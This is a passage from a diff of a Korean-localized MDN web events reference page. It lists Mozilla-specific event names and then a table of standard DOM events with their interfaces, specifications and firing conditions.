+<h3 id="배터리_이벤트">배터리 이벤트</h3>
+
+<p>{{Event("chargingchange")}}<br>
+ {{Event("chargingtimechange")}}<br>
+ {{Event("dischargingtimechange")}}<br>
+ {{Event("levelchange")}}</p>
+
+<h3 id="호출_이벤트">호출 이벤트</h3>
+
+<p>{{Event("alerting")}}<br>
+ {{Event("busy")}}<br>
+ {{Event("callschanged")}}<br>
+ {{Event("cfstatechange")}}<br>
+ {{Event("connected")}}<br>
+ {{Event("connecting")}}<br>
+ {{Event("dialing")}}<br>
+ {{Event("disconnected")}}<br>
+ {{Event("disconnecting")}}<br>
+ {{Event("error_(Telephony)","error")}}<br>
+ {{Event("held")}}, {{Event("holding")}}<br>
+ {{Event("incoming")}}<br>
+ {{Event("resuming")}}<br>
+ {{Event("statechange")}}<br>
+ {{Event("voicechange")}}</p>
+
+<h3 id="센서_이벤트">센서 이벤트</h3>
+
+<p>{{Event("compassneedscalibration")}}<br>
+ {{Event("devicelight")}}<br>
+ {{Event("devicemotion")}}<br>
+ {{Event("deviceorientation")}}<br>
+ {{Event("deviceproximity")}}<br>
+ {{Event("MozOrientation")}}<br>
+ {{Event("orientationchange")}}<br>
+ {{Event("userproximity")}}</p>
+
+<h3 id="스마트카드_이벤트">스마트카드 이벤트</h3>
+
+<p>{{Event("icccardlockerror")}}<br>
+ {{Event("iccinfochange")}}<br>
+ {{Event("smartcard-insert")}}<br>
+ {{Event("smartcard-remove")}}<br>
+ {{Event("stkcommand")}}<br>
+ {{Event("stksessionend")}}<br>
+ {{Event("cardstatechange")}}</p>
+
+<h3 id="SMS_및_USSD_이벤트">SMS 및 USSD 이벤트</h3>
+
+<p>{{Event("delivered")}}<br>
+ {{Event("received")}}<br>
+ {{Event("sent")}}<br>
+ {{Event("ussdreceived")}}</p>
+
+<h3 id="프레임_이벤트">프레임 이벤트</h3>
+
+<p>{{Event("mozbrowserclose")}}<br>
+ {{Event("mozbrowsercontextmenu")}}<br>
+ {{Event("mozbrowsererror")}}<br>
+ {{Event("mozbrowsericonchange")}}<br>
+ {{Event("mozbrowserlocationchange")}}<br>
+ {{Event("mozbrowserloadend")}}<br>
+ {{Event("mozbrowserloadstart")}}<br>
+ {{Event("mozbrowseropenwindow")}}<br>
+ {{Event("mozbrowsersecuritychange")}}<br>
+ {{Event("mozbrowsershowmodalprompt")}} (<a href="/en-US/docs/Web/Reference/Events/mozbrowsershowmodalprompt">link</a>)<br>
+ {{Event("mozbrowsertitlechange")}}<br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></p>
+
+<h3 id="DOM_뮤테이션_이벤트">DOM 뮤테이션 이벤트</h3>
+
+<p><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code><br>
+ {{Event("DOMContentLoaded")}}<br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code></p>
+
+<h3 id="터치_이벤트">터치 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureStart">MozRotateGestureStart</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozRotateGestureUpdate">MozRotateGestureUpdate</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozSwipeGesture">MozSwipeGesture</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozTapGesture">MozTapGesture</a><br>
+ <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchDown</a><br>
+ <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchMove</a><br>
+ <a href="/en-US/DOM/Touch_events_(Mozilla_experimental)">MozTouchUp</a><br>
+ {{Event("touchcancel")}}<br>
+ {{Event("touchend")}}<br>
+ {{Event("touchenter")}}<br>
+ {{Event("touchleave")}}<br>
+ {{Event("touchmove")}}<br>
+ {{Event("touchstart")}}</p>
+
+<h3 id="포인터_이벤트">포인터 이벤트</h3>
+
+<p>{{Event("pointerover")}}<br>
+ {{Event("pointerenter")}}<br>
+ {{Event("pointerdown")}}<br>
+ {{Event("pointermove")}}<br>
+ {{Event("pointerup")}}<br>
+ {{Event("pointercancel")}}<br>
+ {{Event("pointerout")}}<br>
+ {{Event("pointerleave")}}<br>
+ {{Event("gotpointercapture")}}<br>
+ {{Event("lostpointercapture")}}</p>
+
+<h2 id="표준_이벤트">표준 이벤트</h2>
+
+<p>다음 이벤트들은 공식 웹 명세에 정의되어있으며, 브라우저사이에서 공통입니다. 각 이벤트는 이벤트의 수신자에게 전송되는 객체를 나타내는 인터페이스 및 이벤트를 정의한 명세 또는 명세로의 링크를 나열합니다(따라서 각 이벤트와 제공된 데이터에 대한 정보를 찾을 수 있습니다).</p>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">이벤트명</th>
+   <th scope="col">Event Type</th>
+   <th scope="col">Specification</th>
+   <th scope="col">Fired when...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("abort")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The loading of a resource has been aborted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a> and <a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-abort">XMLHttpRequest</a></td>
+   <td>Progression has been terminated (not due to an error).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A transaction has been aborted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("afterprint")}}{{gecko_minversion_inline("6")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>The associated document has started printing or the print preview has been closed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationend")}}</td>
+   <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationiteration")}}</td>
+   <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationstart")}}</td>
+   <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has started.</td>
+  </tr>
+  <tr>
+   <td>{{Event("appinstalled")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="/en-US/docs/Web/Manifest" style="white-space: nowrap;">Web App Manifest</a></td>
+   <td>A web application is successfully installed as a <a href="https://developer.mozilla.org/en-US/Apps/Progressive">progressive web app</a>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("audioprocess")}}</td>
+   <td>{{DOMxRef("AudioProcessingEvent")}} {{Deprecated_Inline}}</td>
+   <td>{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}</td>
+   <td>The input buffer of a {{DOMxRef("ScriptProcessorNode")}} is ready to be processed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("audioend")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The user agent has finished capturing audio for speech recognition.</td>
+  </tr>
+  <tr>
+   <td>{{Event("audiostart")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The user agent has started to capture audio for speech recognition.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforeprint")}} {{gecko_minversion_inline("6")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>The associated document is about to be printed or previewed for printing.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforeunload")}}</td>
+   <td>{{DOMxRef("BeforeUnloadEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/browsers.html#unloading-documents">HTML5</a></td>
+   <td>The window, the document and its resources are about to be unloaded.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beginEvent")}}</td>
+   <td>{{DOMxRef("TimeEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element begins.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code></td>
+   <td></td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An open connection to a database is blocking a <code>versionchange</code> transaction on the same database.</td>
+  </tr>
+  <tr>
+   <td>{{Event("blur")}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element has lost focus (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{Event("boundary")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The spoken utterance reaches a word or sentence boundary</td>
+  </tr>
+  <tr>
+   <td>{{Event("cached")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The resources listed in the manifest have been downloaded, and the application is now cached.</td>
+  </tr>
+  <tr>
+   <td>{{Event("canplay")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay" style="white-space: nowrap;">HTML5 media</a></td>
+   <td>The user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
+  </tr>
+  <tr>
+   <td>{{Event("canplaythrough")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough" style="white-space: nowrap;">HTML5 media</a></td>
+   <td>The user agent can play the media up to its end without having to stop for further buffering of content.</td>
+  </tr>
+  <tr>
+   <td>{{Event("change")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-change">HTML5</a></td>
+   <td>The <code>change</code> event is fired for {{HTMLElement("input")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}} elements when a change to the element's value is committed by the user.</td>
+  </tr>
+  <tr>
+   <td>{{Event("chargingchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html" style="white-space: nowrap;">Battery status</a></td>
+   <td>The battery begins or stops charging.</td>
+  </tr>
+  <tr>
+   <td>{{Event("chargingtimechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html" style="white-space: nowrap;">Battery status</a></td>
+   <td>The <code>chargingTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("checking")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The user agent is checking for an update, or attempting to download the cache manifest for the first time.</td>
+  </tr>
+  <tr>
+   <td>{{Event("click")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device button has been pressed and released on an element.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been closed.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code></td>
+   <td></td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#transaction">IndexedDB</a></td>
+   <td>A transaction successfully completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("complete")}}</td>
+   <td>{{DOMxRef("OfflineAudioCompletionEvent")}} {{Deprecated_Inline}}</td>
+   <td>{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}</td>
+   <td>The rendering of an {{DOMxRef("OfflineAudioContext")}} is terminated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionend")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{DOMxRef("CompositionEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionend" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The composition of a passage of text has been completed or canceled.</td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionstart")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{DOMxRef("CompositionEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionstart" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).</td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionupdate")}}{{gecko_minversion_inline("9")}}</td>
+   <td>{{DOMxRef("CompositionEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionupdate" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A character is added to a passage of text being composed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("contextmenu")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="https://html.spec.whatwg.org/multipage/forms.html#context-menus">HTML5</a></td>
+   <td>The right button of the mouse is clicked (before the context menu is displayed).</td>
+  </tr>
+  <tr>
+   <td>{{Event("copy")}}</td>
+   <td>{{DOMxRef("ClipboardEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/clipboard-apis/#copy-event">Clipboard</a></td>
+   <td>The text selection has been added to the clipboard.</td>
+  </tr>
+  <tr>
+   <td>{{Event("cut")}}</td>
+   <td>{{DOMxRef("ClipboardEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/clipboard-apis/#cut-event">Clipboard</a></td>
+   <td>The text selection has been removed from the document and added to the clipboard.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dblclick")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-dblclick" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device button is clicked twice on an element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("devicechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName("Media Capture")}}</td>
+   <td>A media device such as a camera, microphone, or speaker is connected or removed from the system.</td>
+  </tr>
+  <tr>
+   <td>{{Event("devicelight")}}</td>
+   <td>{{DOMxRef("DeviceLightEvent")}} {{Experimental_Inline}}</td>
+   <td><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/light/Overview.html" lang="en" title="The definition of 'Ambient Light Events' in that specification.">Ambient Light Events</a></td>
+   <td>Fresh data is available from a light sensor.</td>
+  </tr>
+  <tr>
+   <td>{{Event("devicemotion")}}</td>
+   <td>{{DOMxRef("DeviceMotionEvent")}} {{Experimental_Inline}}</td>
+   <td><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Fresh data is available from a motion sensor.</td>
+  </tr>
+  <tr>
+   <td>{{Event("deviceorientation")}}</td>
+   <td>{{DOMxRef("DeviceOrientationEvent")}} {{Experimental_Inline}}</td>
+   <td><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Fresh data is available from an orientation sensor.</td>
+  </tr>
+  <tr>
+   <td>{{Event("deviceproximity")}}</td>
+   <td>{{DOMxRef("DeviceProximityEvent")}} {{Experimental_Inline}}</td>
+   <td><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html" lang="en" title="The definition of 'Proximity Events' in that specification.">Proximity Events</a></td>
+   <td>Fresh data is available from a proximity sensor (indicates an approximated distance between the device and a nearby object).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dischargingtimechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>dischargingTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td><code>DOMActivate</code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMActivate" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A button, link or state changing element is activated (use {{Event("click")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationNameEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMAttributeNameChanged" style="white-space: nowrap;">DOM L3</a> Removed</td>
+   <td>The name of an attribute changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMAttrModified" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The value of an attribute has been modified (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMCharacterDataModified" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A text or another <a href="/en-US/docs/DOM/CharacterData">CharacterData</a> has changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td>{{Event("DOMContentLoaded")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></td>
+   <td>The document has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationNameEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMElementNameChanged" style="white-space: nowrap;">DOM L3</a> Removed</td>
+   <td>The name of an element changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusIn</code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusIn" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element has received focus (use {{Event("focus")}} or {{Event("focusin")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusOut</code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusOut" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element has lost focus (use {{Event("blur")}} or {{Event("focusout")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInserted" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A node has been added as a child of another node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInsertedIntoDocument" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A node has been inserted into the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemoved" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A node has been removed from its parent node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemovedFromDocument" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A node has been removed from the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMSubtreeModified" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A change happened in the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td>{{Event("downloading")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+   <td>The user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.</td>
+  </tr>
+  <tr>
+   <td>{{Event("drag")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drag">HTML5</a></td>
+   <td>An element or text selection is being dragged (every 350ms).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragend")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragend">HTML5</a></td>
+   <td>A drag operation is being ended (by releasing a mouse button or hitting the escape key).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragenter")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragenter">HTML5</a></td>
+   <td>A dragged element or text selection enters a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragleave")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragleave">HTML5</a></td>
+   <td>A dragged element or text selection leaves a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragover")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragover">HTML5</a></td>
+   <td>An element or text selection is being dragged over a valid drop target (every 350ms).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragstart")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragstart">HTML5</a></td>
+   <td>The user starts dragging an element or text selection.</td>
+  </tr>
+  <tr>
+   <td>{{Event("drop")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drop">HTML5</a></td>
+   <td>An element is dropped on a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{Event("durationchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-durationchange">HTML5 media</a></td>
+   <td>The <code>duration</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("emptied")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-emptied">HTML5 media</a></td>
+   <td>The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> method is called to reload it.</td>
+  </tr>
+  <tr>
+   <td>{{Event("end_(SpeechRecognition)","end")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The speech recognition service has disconnected.</td>
+  </tr>
+  <tr>
+   <td>{{Event("end_(SpeechSynthesis)","end")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName("Web Speech API")}}</td>
+   <td>The utterance has finished being spoken.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ended")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ended">HTML5 media</a></td>
+   <td>Playback has stopped because the end of the media was reached.</td>
+  </tr>
+  <tr>
+   <td>{{Event("ended_(Web_Audio)", "ended")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName("Web Audio API")}}</td>
+   <td>Playback has stopped because the end of the media was reached.</td>
+  </tr>
+  <tr>
+   <td>{{Event("endEvent")}}</td>
+   <td>{{DOMxRef("TimeEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element ends.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A resource failed to load.</td>
+  </tr>
+  <tr>
+   <td>{{Event("error")}}</td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
